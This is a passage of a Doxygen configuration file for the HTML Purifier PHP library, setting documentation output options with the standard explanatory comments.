+# Enabling this option can be useful when feeding doxygen a huge amount of +# source files, where putting all generated files in the same directory would +# otherwise cause performance problems for the file system. + +CREATE_SUBDIRS = NO + +# The OUTPUT_LANGUAGE tag is used to specify the language in which all +# documentation generated by doxygen is written. Doxygen will use this +# information to generate all constant output in the proper language. +# The default language is English, other supported languages are: +# Afrikaans, Arabic, Brazilian, Catalan, Chinese, Chinese-Traditional, +# Croatian, Czech, Danish, Dutch, Finnish, French, German, Greek, Hungarian, +# Italian, Japanese, Japanese-en (Japanese with English messages), Korean, +# Korean-en, Lithuanian, Norwegian, Polish, Portuguese, Romanian, Russian, +# Serbian, Slovak, Slovene, Spanish, Swedish, and Ukrainian. + +OUTPUT_LANGUAGE = English + +# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will +# include brief member descriptions after the members that are listed in +# the file and class documentation (similar to JavaDoc). +# Set to NO to disable this. + +BRIEF_MEMBER_DESC = YES + +# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend +# the brief description of a member or function before the detailed description. +# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the +# brief descriptions will be completely suppressed. + +REPEAT_BRIEF = YES + +# This tag implements a quasi-intelligent brief description abbreviator +# that is used to form the text in various listings. Each string +# in this list, if found as the leading text of the brief description, will be +# stripped from the text and the result after processing the whole list, is +# used as the annotated text. Otherwise, the brief description is used as-is. +# If left blank, the following values are used ("$name" is automatically +# replaced with the name of the entity): "The $name class" "The $name widget" +# "The $name file" "is" "provides" "specifies" "contains" +# "represents" "a" "an" "the" + +ABBREVIATE_BRIEF = "The $name class " \ + "The $name widget " \ + "The $name file " \ + is \ + provides \ + specifies \ + contains \ + represents \ + a \ + an \ + the + +# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then +# Doxygen will generate a detailed section even if there is only a brief +# description. + +ALWAYS_DETAILED_SEC = NO + +# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all +# inherited members of a class in the documentation of that class as if those +# members were ordinary class members. Constructors, destructors and assignment +# operators of the base classes will not be shown. + +INLINE_INHERITED_MEMB = NO + +# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full +# path before files name in the file list and in the header files. If set +# to NO the shortest path that makes the file name unique will be used. + +FULL_PATH_NAMES = YES + +# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag +# can be used to strip a user-defined part of the path. Stripping is +# only done if one of the specified strings matches the left-hand part of +# the path. The tag can be used to show relative paths in the file list. +# If left blank the directory from which doxygen is run is used as the +# path to strip. + +STRIP_FROM_PATH = "C:/Users/Edward/Webs/htmlpurifier " \ + "C:/Documents and Settings/Edward/My Documents/My Webs/htmlpurifier " + +# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of +# the path mentioned in the documentation of a class, which tells +# the reader which header file to include in order to use a class. +# If left blank only the name of the header file containing the class +# definition is used. Otherwise one should specify the include paths that +# are normally passed to the compiler using the -I flag. + +STRIP_FROM_INC_PATH = + +# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter +# (but less readable) file names. This can be useful is your file systems +# doesn't support long names like on DOS, Mac, or CD-ROM. + +SHORT_NAMES = NO + +# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen +# will interpret the first line (until the first dot) of a JavaDoc-style +# comment as the brief description. If set to NO, the JavaDoc +# comments will behave just like regular Qt-style comments +# (thus requiring an explicit @brief command for a brief description.) + +JAVADOC_AUTOBRIEF = YES + +# If the QT_AUTOBRIEF tag is set to YES then Doxygen will +# interpret the first line (until the first dot) of a Qt-style +# comment as the brief description. If set to NO, the comments +# will behave just like regular Qt-style comments (thus requiring +# an explicit \brief command for a brief description.) + +QT_AUTOBRIEF = NO + +# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen +# treat a multi-line C++ special comment block (i.e. a block of //! or /// +# comments) as a brief description. This used to be the default behaviour. +# The new default is to treat a multi-line C++ comment block as a detailed +# description. Set this tag to YES if you prefer the old behaviour instead. + +MULTILINE_CPP_IS_BRIEF = NO + +# If the DETAILS_AT_TOP tag is set to YES then Doxygen +# will output the detailed description near the top, like JavaDoc. +# If set to NO, the detailed description appears after the member +# documentation. + +DETAILS_AT_TOP = NO + +# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented +# member inherits the documentation from any documented member that it +# re-implements. + +INHERIT_DOCS = YES + +# If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce +# a new page for each member. If set to NO, the documentation of a member will +# be part of the file/class/namespace that contains it. + +SEPARATE_MEMBER_PAGES = NO + +# The TAB_SIZE tag can be used to set the number of spaces in a tab. +# Doxygen uses this value to replace tabs by spaces in code fragments. + +TAB_SIZE = 4 + +# This tag can be used to specify a number of aliases that acts +# as commands in the documentation. An alias has the form "name=value". +# For example adding "sideeffect=\par Side Effects:\n" will allow you to +# put the command \sideeffect (or @sideeffect) in the documentation, which +# will result in a user-defined paragraph with heading "Side Effects:". +# You can put \n's in the value part of an alias to insert newlines. + +ALIASES = + +# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C +# sources only. Doxygen will then generate output that is more tailored for C. +# For instance, some of the names that are used will be different. The list +# of all members will be omitted, etc. + +OPTIMIZE_OUTPUT_FOR_C = NO + +# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java +# sources only. Doxygen will then generate output that is more tailored for Java. +# For instance, namespaces will be presented as packages, qualified scopes +# will look different, etc. + +OPTIMIZE_OUTPUT_JAVA = NO + +# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want to +# include (a tag file for) the STL sources as input, then you should +# set this tag to YES in order to let doxygen match functions declarations and +# definitions whose arguments contain STL classes (e.g. func(std::string); v.s. +# func(std::string) {}). This also make the inheritance and collaboration +# diagrams that involve STL classes more complete and accurate. + +BUILTIN_STL_SUPPORT = NO + +# If you use Microsoft's C++/CLI language, you should set this option to YES to +# enable parsing support. + +CPP_CLI_SUPPORT = NO + +# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC +# tag is set to YES, then doxygen will reuse the documentation of the first +# member in the group (if any) for the other members of the group. By default +# all members of a group must be documented explicitly. + +DISTRIBUTE_GROUP_DOC = NO + +# Set the SUBGROUPING tag to YES (the default) to allow class member groups of +# the same type (for instance a group of public functions) to be put as a +# subgroup of that type (e.g. under the Public Functions section). Set it to +# NO to prevent subgrouping. Alternatively, this can be done per class using +# the \nosubgrouping command. + +SUBGROUPING = YES + +#--------------------------------------------------------------------------- +# Build related configuration options +#--------------------------------------------------------------------------- + +# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in +# documentation are documented, even if no documentation was available. +# Private class members and static file members will be hidden unless +# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES + +EXTRACT_ALL = YES + +# If the EXTRACT_PRIVATE tag is set to YES all private members of a class +# will be included in the documentation. + +EXTRACT_PRIVATE = YES + +# If the EXTRACT_STATIC tag is set to YES all static members of a file +# will be included in the documentation. + +EXTRACT_STATIC = YES + +# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) +# defined locally in source files will be included in the documentation. +# If set to NO only classes defined in header files are included. + +EXTRACT_LOCAL_CLASSES = YES + +# This flag is only useful for Objective-C code. When set to YES local +# methods, which are defined in the implementation section but not in +# the interface are included in the documentation. +# If set to NO (the default) only methods in the interface are included. + +EXTRACT_LOCAL_METHODS = NO + +# If this flag is set to YES, the members of anonymous namespaces will be extracted +# and appear in the documentation as a namespace called 'anonymous_namespace{file}', +# where file will be replaced with the base name of the file that contains the anonymous +# namespace. By default anonymous namespace are hidden. + +EXTRACT_ANON_NSPACES = NO + +# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all +# undocumented members of documented classes, files or namespaces. +# If set to NO (the default) these members will be included in the +# various overviews, but no documentation section is generated. +# This option has no effect if EXTRACT_ALL is enabled. + +HIDE_UNDOC_MEMBERS = NO + +# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all +# undocumented classes that are normally visible in the class hierarchy. +# If set to NO (the default) these classes will be included in the various +# overviews. This option has no effect if EXTRACT_ALL is enabled. + +HIDE_UNDOC_CLASSES = NO + +# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all +# friend (class|struct|union) declarations. +# If set to NO (the default) these declarations will be included in the +# documentation. + +HIDE_FRIEND_COMPOUNDS = NO + +# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any +# documentation blocks found inside the body of a function. +# If set to NO (the default) these blocks will be appended to the +# function's detailed documentation block. + +HIDE_IN_BODY_DOCS = NO + +# The INTERNAL_DOCS tag determines if documentation +# that is typed after a \internal command is included. If the tag is set +# to NO (the default) then the documentation will be excluded. +# Set it to YES to include the internal documentation. + +INTERNAL_DOCS = NO + +# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate +# file names in lower-case letters. If set to YES upper-case letters are also +# allowed. This is useful if you have classes or files whose names only differ +# in case and if your file system supports case sensitive file names. Windows +# and Mac users are advised to set this option to NO. + +CASE_SENSE_NAMES = YES + +# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen +# will show members with their full class and namespace scopes in the +# documentation. If set to YES the scope will be hidden. + +HIDE_SCOPE_NAMES = NO + +# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen +# will put a list of the files that are included by a file in the documentation +# of that file. + +SHOW_INCLUDE_FILES = YES + +# If the INLINE_INFO tag is set to YES (the default) then a tag [inline] +# is inserted in the documentation for inline members. + +INLINE_INFO = YES + +# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen +# will sort the (detailed) documentation of file and class members +# alphabetically by member name. If set to NO the members will appear in +# declaration order. + +SORT_MEMBER_DOCS = YES + +# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the +# brief documentation of file, namespace and class members alphabetically +# by member name. If set to NO (the default) the members will appear in +# declaration order. + +SORT_BRIEF_DOCS = NO + +# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be +# sorted by fully-qualified names, including namespaces. If set to +# NO (the default), the class list will be sorted only by class name, +# not including the namespace part. +# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES. +# Note: This option applies only to the class list, not to the +# alphabetical list. + +SORT_BY_SCOPE_NAME = NO + +# The GENERATE_TODOLIST tag can be used to enable (YES) or +# disable (NO) the todo list. This list is created by putting \todo +# commands in the documentation. + +GENERATE_TODOLIST = YES + +# The GENERATE_TESTLIST tag can be used to enable (YES) or +# disable (NO) the test list. This list is created by putting \test +# commands in the documentation. + +GENERATE_TESTLIST = YES + +# The GENERATE_BUGLIST tag can be used to enable (YES) or +# disable (NO) the bug list. This list is created by putting \bug +# commands in the documentation. + +GENERATE_BUGLIST = YES + +# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or +# disable (NO) the deprecated list. This list is created by putting +# \deprecated commands in the documentation. + +GENERATE_DEPRECATEDLIST= YES + +# The ENABLED_SECTIONS tag can be used to enable conditional +# documentation sections, marked by \if sectionname ... \endif. + +ENABLED_SECTIONS = + +# The MAX_INITIALIZER_LINES tag determines the maximum number of lines +# the initial value of a variable or define consists of for it to appear in +# the documentation. If the initializer consists of more lines than specified +# here it will be hidden. Use a value of 0 to hide initializers completely. +# The appearance of the initializer of individual variables and defines in the +# documentation can be controlled using \showinitializer or \hideinitializer +# command in the documentation regardless of this setting. + +MAX_INITIALIZER_LINES = 30 + +# Set the SHOW_USED_FILES tag to NO to disable the list of files generated +# at the bottom of the documentation of classes and structs. If set to YES the +# list will mention the files that were used to generate the documentation. + +SHOW_USED_FILES = YES + +# If the sources in your project are distributed over multiple directories +# then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy +# in the documentation. The default is NO. + +SHOW_DIRECTORIES = NO + +# The FILE_VERSION_FILTER tag can be used to specify a program or script that +# doxygen should invoke to get the current version for each file (typically from the +# version control system). Doxygen will invoke the program by executing (via +# popen()) the command , where is the value of +# the FILE_VERSION_FILTER tag, and is the name of an input file +# provided by doxygen. Whatever the program writes to standard output +# is used as the file version. See the manual for examples. + +FILE_VERSION_FILTER = + +#--------------------------------------------------------------------------- +# configuration options related to warning and progress messages +#--------------------------------------------------------------------------- + +# The QUIET tag can be used to turn on/off the messages that are generated +# by doxygen. Possible values are YES and NO. If left blank NO is used. + +QUIET = NO + +# The WARNINGS tag can be used to turn on/off the warning messages that are +# generated by doxygen. Possible values are YES and NO. If left blank +# NO is used. + +WARNINGS = YES + +# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings +# for undocumented members. If EXTRACT_ALL is set to YES then this flag will +# automatically be disabled. + +WARN_IF_UNDOCUMENTED = YES + +# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for +# potential errors in the documentation, such as not documenting some +# parameters in a documented function, or documenting parameters that +# don't exist or using markup commands wrongly. + +WARN_IF_DOC_ERROR = YES + +# This WARN_NO_PARAMDOC option can be abled to get warnings for +# functions that are documented, but have no documentation for their parameters +# or return value. If set to NO (the default) doxygen will only warn about +# wrong or incomplete parameter documentation, but not about the absence of +# documentation. + +WARN_NO_PARAMDOC = NO + +# The WARN_FORMAT tag determines the format of the warning messages that +# doxygen can produce. The string should contain the $file, $line, and $text +# tags, which will be replaced by the file and line number from which the +# warning originated and the warning text. Optionally the format may contain +# $version, which will be replaced by the version of the file (if it could +# be obtained via FILE_VERSION_FILTER) + +WARN_FORMAT = "$file:$line: $text " + +# The WARN_LOGFILE tag can be used to specify a file to which warning +# and error messages should be written. If left blank the output is written +# to stderr. + +WARN_LOGFILE = + +#--------------------------------------------------------------------------- +# configuration options related to the input files +#--------------------------------------------------------------------------- + +# The INPUT tag can be used to specify the files and/or directories that contain +# documented source files. You may enter file names like "myfile.cpp" or +# directories like "/usr/src/myproject". Separate the files or directories +# with spaces. + +INPUT = ". " + +# This tag can be used to specify the character encoding of the source files that +# doxygen parses. Internally doxygen uses the UTF-8 encoding, which is also the default +# input encoding. Doxygen uses libiconv (or the iconv built into libc) for the transcoding. +# See http://www.gnu.org/software/libiconv for the list of possible encodings. + +INPUT_ENCODING = UTF-8 + +# If the value of the INPUT tag contains directories, you can use the +# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp +# and *.h) to filter out the source-files in the directories. If left +# blank the following patterns are tested: +# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx +# *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm *.py + +FILE_PATTERNS = *.php + +# The RECURSIVE tag can be used to turn specify whether or not subdirectories +# should be searched for input files as well. Possible values are YES and NO. +# If left blank NO is used. + +RECURSIVE = YES + +# The EXCLUDE tag can be used to specify files and/or directories that should +# excluded from the INPUT source files. This way you can easily exclude a +# subdirectory from a directory tree whose root is specified with the INPUT tag. + +EXCLUDE = + +# The EXCLUDE_SYMLINKS tag can be used select whether or not files or +# directories that are symbolic links (a Unix filesystem feature) are excluded +# from the input. + +EXCLUDE_SYMLINKS = NO + +# If the value of the INPUT tag contains directories, you can use the +# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude +# certain files from those directories. Note that the wildcards are matched +# against the file with absolute path, so to exclude all test directories +# for example use the pattern */test/* + +EXCLUDE_PATTERNS = */tests/* \ + */benchmarks/* \ + */docs/* \ + */test-settings.php \ + */configdoc/* \ + */test-settings.php \ + */maintenance/* \ + */smoketests/* \ + */library/standalone/* \ + */.svn* \ + */conf/* + +# The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names +# (namespaces, classes, functions, etc.) that should be excluded from the output. +# The symbol name can be a fully qualified name, a word, or if the wildcard * is used, +# a substring. Examples: ANamespace, AClass, AClass::ANamespace, ANamespace::*Test + +EXCLUDE_SYMBOLS = + +# The EXAMPLE_PATH tag can be used to specify one or more files or +# directories that contain example code fragments that are included (see +# the \include command). + +EXAMPLE_PATH = + +# If the value of the EXAMPLE_PATH tag contains directories, you can use the +# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp +# and *.h) to filter out the source-files in the directories. If left +# blank all files are included. + +EXAMPLE_PATTERNS = * + +# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be +# searched for input files to be used with the \include or \dontinclude +# commands irrespective of the value of the RECURSIVE tag. +# Possible values are YES and NO. If left blank NO is used. + +EXAMPLE_RECURSIVE = NO + +# The IMAGE_PATH tag can be used to specify one or more files or +# directories that contain image that are included in the documentation (see +# the \image command). + +IMAGE_PATH = + +# The INPUT_FILTER tag can be used to specify a program that doxygen should +# invoke to filter for each input file. Doxygen will invoke the filter program +# by executing (via popen()) the command , where +# is the value of the INPUT_FILTER tag, and is the name of an +# input file. Doxygen will then use the output that the filter program writes +# to standard output. If FILTER_PATTERNS is specified, this tag will be +# ignored. + +INPUT_FILTER = + +# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern +# basis. Doxygen will compare the file name with each pattern and apply the +# filter if there is a match. The filters are a list of the form: +# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further +# info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER +# is applied to all files. + +FILTER_PATTERNS = + +# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using +# INPUT_FILTER) will be used to filter the input files when producing source +# files to browse (i.e. when SOURCE_BROWSER is set to YES). + +FILTER_SOURCE_FILES = NO + +#--------------------------------------------------------------------------- +# configuration options related to source browsing +#--------------------------------------------------------------------------- + +# If the SOURCE_BROWSER tag is set to YES then a list of source files will +# be generated. Documented entities will be cross-referenced with these sources. +# Note: To get rid of all source code in the generated output, make sure also +# VERBATIM_HEADERS is set to NO. If you have enabled CALL_GRAPH or CALLER_GRAPH +# then you must also enable this option. If you don't then doxygen will produce +# a warning and turn it on anyway + +SOURCE_BROWSER = YES + +# Setting the INLINE_SOURCES tag to YES will include the body +# of functions and classes directly in the documentation. + +INLINE_SOURCES = NO + +# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct +# doxygen to hide any special comment blocks from generated source code +# fragments. Normal C and C++ comments will always remain visible. + +STRIP_CODE_COMMENTS = YES + +# If the REFERENCED_BY_RELATION tag is set to YES (the default) +# then for each documented function all documented +# functions referencing it will be listed. + +REFERENCED_BY_RELATION = YES + +# If the REFERENCES_RELATION tag is set to YES (the default) +# then for each documented function all documented entities +# called/used by that function will be listed. + +REFERENCES_RELATION = YES + +# If the REFERENCES_LINK_SOURCE tag is set to YES (the default) +# and SOURCE_BROWSER tag is set to YES, then the hyperlinks from +# functions in REFERENCES_RELATION and REFERENCED_BY_RELATION lists will +# link to the source code. Otherwise they will link to the documentstion. + +REFERENCES_LINK_SOURCE = YES + +# If the USE_HTAGS tag is set to YES then the references to source code +# will point to the HTML generated by the htags(1) tool instead of doxygen +# built-in source browser. The htags tool is part of GNU's global source +# tagging system (see http://www.gnu.org/software/global/global.html). You +# will need version 4.8.6 or higher. + +USE_HTAGS = NO + +# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen +# will generate a verbatim copy of the header file for each class for +# which an include is specified. Set to NO to disable this. + +VERBATIM_HEADERS = YES + +#--------------------------------------------------------------------------- +# configuration options related to the alphabetical class index +#--------------------------------------------------------------------------- + +# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index +# of all compounds will be generated. Enable this if the project +# contains a lot of classes, structs, unions or interfaces. + +ALPHABETICAL_INDEX = NO + +# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then +# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns +# in which this list will be split (can be a number in the range [1..20]) + +COLS_IN_ALPHA_INDEX = 5 + +# In case all classes in a project start with a common prefix, all +# classes will be put under the same header in the alphabetical index. +# The IGNORE_PREFIX tag can be used to specify one or more prefixes that +# should be ignored while generating the index headers. + +IGNORE_PREFIX = + +#--------------------------------------------------------------------------- +# configuration options related to the HTML output +#--------------------------------------------------------------------------- + +# If the GENERATE_HTML tag is set to YES (the default) Doxygen will +# generate HTML output. + +GENERATE_HTML = YES + +# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `html' will be used as the default path. + +HTML_OUTPUT = html + +# The HTML_FILE_EXTENSION tag can be used to specify the file extension for +# each generated HTML page (for example: .htm,.php,.asp). If it is left blank +# doxygen will generate files with .html extension. + +HTML_FILE_EXTENSION = .html + +# The HTML_HEADER tag can be used to specify a personal HTML header for +# each generated HTML page. If it is left blank doxygen will generate a +# standard header. + +HTML_HEADER = + +# The HTML_FOOTER tag can be used to specify a personal HTML footer for +# each generated HTML page. If it is left blank doxygen will generate a +# standard footer. + +HTML_FOOTER = + +# The HTML_STYLESHEET tag can be used to specify a user-defined cascading +# style sheet that is used by each HTML page. It can be used to +# fine-tune the look of the HTML output. If the tag is left blank doxygen +# will generate a default style sheet. Note that doxygen will try to copy +# the style sheet file to the HTML output directory, so don't put your own +# stylesheet in the HTML output directory as well, or it will be erased! + +HTML_STYLESHEET = + +# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, +# files or namespaces will be aligned in HTML using tables. If set to +# NO a bullet list will be used. + +HTML_ALIGN_MEMBERS = YES + +# If the GENERATE_HTMLHELP tag is set to YES, additional index files +# will be generated that can be used as input for tools like the +# Microsoft HTML help workshop to generate a compressed HTML help file (.chm) +# of the generated HTML documentation. + +GENERATE_HTMLHELP = NO + +# If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML +# documentation will contain sections that can be hidden and shown after the +# page has loaded. For this to work a browser that supports +# JavaScript and DHTML is required (for instance Mozilla 1.0+, Firefox +# Netscape 6.0+, Internet explorer 5.0+, Konqueror, or Safari). + +HTML_DYNAMIC_SECTIONS = NO + +# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can +# be used to specify the file name of the resulting .chm file. You +# can add a path in front of the file if the result should not be +# written to the html output directory. + +CHM_FILE = + +# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can +# be used to specify the location (absolute path including file name) of +# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run +# the HTML help compiler on the generated index.hhp. + +HHC_LOCATION = + +# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag +# controls if a separate .chi index file is generated (YES) or that +# it should be included in the master .chm file (NO). + +GENERATE_CHI = NO + +# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag +# controls whether a binary table of contents is generated (YES) or a +# normal table of contents (NO) in the .chm file. + +BINARY_TOC = NO + +# The TOC_EXPAND flag can be set to YES to add extra items for group members +# to the contents of the HTML help documentation and to the tree view. + +TOC_EXPAND = NO + +# The DISABLE_INDEX tag can be used to turn on/off the condensed index at +# top of each HTML page. The value NO (the default) enables the index and +# the value YES disables it. + +DISABLE_INDEX = NO + +# This tag can be used to set the number of enum values (range [1..20]) +# that doxygen will group on one line in the generated HTML documentation. + +ENUM_VALUES_PER_LINE = 4 + +# If the GENERATE_TREEVIEW tag is set to YES, a side panel will be +# generated containing a tree-like index structure (just like the one that +# is generated for HTML Help). For this to work a browser that supports +# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+, +# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are +# probably better off using the HTML help feature. + +GENERATE_TREEVIEW = YES + +# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be +# used to set the initial width (in pixels) of the frame in which the tree +# is shown. + +TREEVIEW_WIDTH = 250 + +#--------------------------------------------------------------------------- +# configuration options related to the LaTeX output +#--------------------------------------------------------------------------- + +# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will +# generate Latex output. + +GENERATE_LATEX = NO + +# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `latex' will be used as the default path. + +LATEX_OUTPUT = latex + +# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be +# invoked. If left blank `latex' will be used as the default command name. + +LATEX_CMD_NAME = latex + +# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to +# generate index for LaTeX. If left blank `makeindex' will be used as the +# default command name. + +MAKEINDEX_CMD_NAME = makeindex + +# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact +# LaTeX documents. This may be useful for small projects and may help to +# save some trees in general. + +COMPACT_LATEX = NO + +# The PAPER_TYPE tag can be used to set the paper type that is used +# by the printer. Possible values are: a4, a4wide, letter, legal and +# executive. If left blank a4wide will be used. + +PAPER_TYPE = a4wide + +# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX +# packages that should be included in the LaTeX output. + +EXTRA_PACKAGES = + +# The LATEX_HEADER tag can be used to specify a personal LaTeX header for +# the generated latex document. The header should contain everything until +# the first chapter. If it is left blank doxygen will generate a +# standard header. Notice: only use this tag if you know what you are doing! + +LATEX_HEADER = + +# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated +# is prepared for conversion to pdf (using ps2pdf). The pdf file will +# contain links (just like the HTML output) instead of page references +# This makes the output suitable for online browsing using a pdf viewer. + +PDF_HYPERLINKS = YES + +# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of +# plain latex in the generated Makefile. Set this option to YES to get a +# higher quality PDF documentation. + +USE_PDFLATEX = YES + +# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. +# command to the generated LaTeX files. This will instruct LaTeX to keep +# running if errors occur, instead of asking the user for help. +# This option is also used when generating formulas in HTML. + +LATEX_BATCHMODE = NO + +# If LATEX_HIDE_INDICES is set to YES then doxygen will not +# include the index chapters (such as File Index, Compound Index, etc.) +# in the output. + +LATEX_HIDE_INDICES = NO + +#--------------------------------------------------------------------------- +# configuration options related to the RTF output +#--------------------------------------------------------------------------- + +# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output +# The RTF output is optimized for Word 97 and may not look very pretty with +# other RTF readers or editors. + +GENERATE_RTF = NO + +# The RTF_OUTPUT tag is used to specify where the RTF docs will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `rtf' will be used as the default path. + +RTF_OUTPUT = rtf + +# If the COMPACT_RTF tag is set to YES Doxygen generates more compact +# RTF documents. This may be useful for small projects and may help to +# save some trees in general. + +COMPACT_RTF = NO + +# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated +# will contain hyperlink fields. The RTF file will +# contain links (just like the HTML output) instead of page references. +# This makes the output suitable for online browsing using WORD or other +# programs which support those fields. +# Note: wordpad (write) and others do not support links. + +RTF_HYPERLINKS = NO + +# Load stylesheet definitions from file. Syntax is similar to doxygen's +# config file, i.e. a series of assignments. You only have to provide +# replacements, missing definitions are set to their default value. + +RTF_STYLESHEET_FILE = + +# Set optional variables used in the generation of an rtf document. +# Syntax is similar to doxygen's config file. + +RTF_EXTENSIONS_FILE = + +#--------------------------------------------------------------------------- +# configuration options related to the man page output +#--------------------------------------------------------------------------- + +# If the GENERATE_MAN tag is set to YES (the default) Doxygen will +# generate man pages + +GENERATE_MAN = NO + +# The MAN_OUTPUT tag is used to specify where the man pages will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `man' will be used as the default path. + +MAN_OUTPUT = man + +# The MAN_EXTENSION tag determines the extension that is added to +# the generated man pages (default is the subroutine's section .3) + +MAN_EXTENSION = .3 + +# If the MAN_LINKS tag is set to YES and Doxygen generates man output, +# then it will generate one additional man file for each entity +# documented in the real man page(s). These additional files +# only source the real man page, but without them the man command +# would be unable to find the correct page. The default is NO. + +MAN_LINKS = NO + +#--------------------------------------------------------------------------- +# configuration options related to the XML output +#--------------------------------------------------------------------------- + +# If the GENERATE_XML tag is set to YES Doxygen will +# generate an XML file that captures the structure of +# the code including all documentation. + +GENERATE_XML = NO + +# The XML_OUTPUT tag is used to specify where the XML pages will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `xml' will be used as the default path. + +XML_OUTPUT = xml + +# The XML_SCHEMA tag can be used to specify an XML schema, +# which can be used by a validating XML parser to check the +# syntax of the XML files. + +XML_SCHEMA = + +# The XML_DTD tag can be used to specify an XML DTD, +# which can be used by a validating XML parser to check the +# syntax of the XML files. + +XML_DTD = + +# If the XML_PROGRAMLISTING tag is set to YES Doxygen will +# dump the program listings (including syntax highlighting +# and cross-referencing information) to the XML output. Note that +# enabling this will significantly increase the size of the XML output. + +XML_PROGRAMLISTING = YES + +#--------------------------------------------------------------------------- +# configuration options for the AutoGen Definitions output +#--------------------------------------------------------------------------- + +# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will +# generate an AutoGen Definitions (see autogen.sf.net) file +# that captures the structure of the code including all +# documentation. Note that this feature is still experimental +# and incomplete at the moment. + +GENERATE_AUTOGEN_DEF = NO + +#--------------------------------------------------------------------------- +# configuration options related to the Perl module output +#--------------------------------------------------------------------------- + +# If the GENERATE_PERLMOD tag is set to YES Doxygen will +# generate a Perl module file that captures the structure of +# the code including all documentation. Note that this +# feature is still experimental and incomplete at the +# moment. + +GENERATE_PERLMOD = NO + +# If the PERLMOD_LATEX tag is set to YES Doxygen will generate +# the necessary Makefile rules, Perl scripts and LaTeX code to be able +# to generate PDF and DVI output from the Perl module output. + +PERLMOD_LATEX = NO + +# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be +# nicely formatted so it can be parsed by a human reader. This is useful +# if you want to understand what is going on. On the other hand, if this +# tag is set to NO the size of the Perl module output will be much smaller +# and Perl will parse it just the same. + +PERLMOD_PRETTY = YES + +# The names of the make variables in the generated doxyrules.make file +# are prefixed with the string contained in 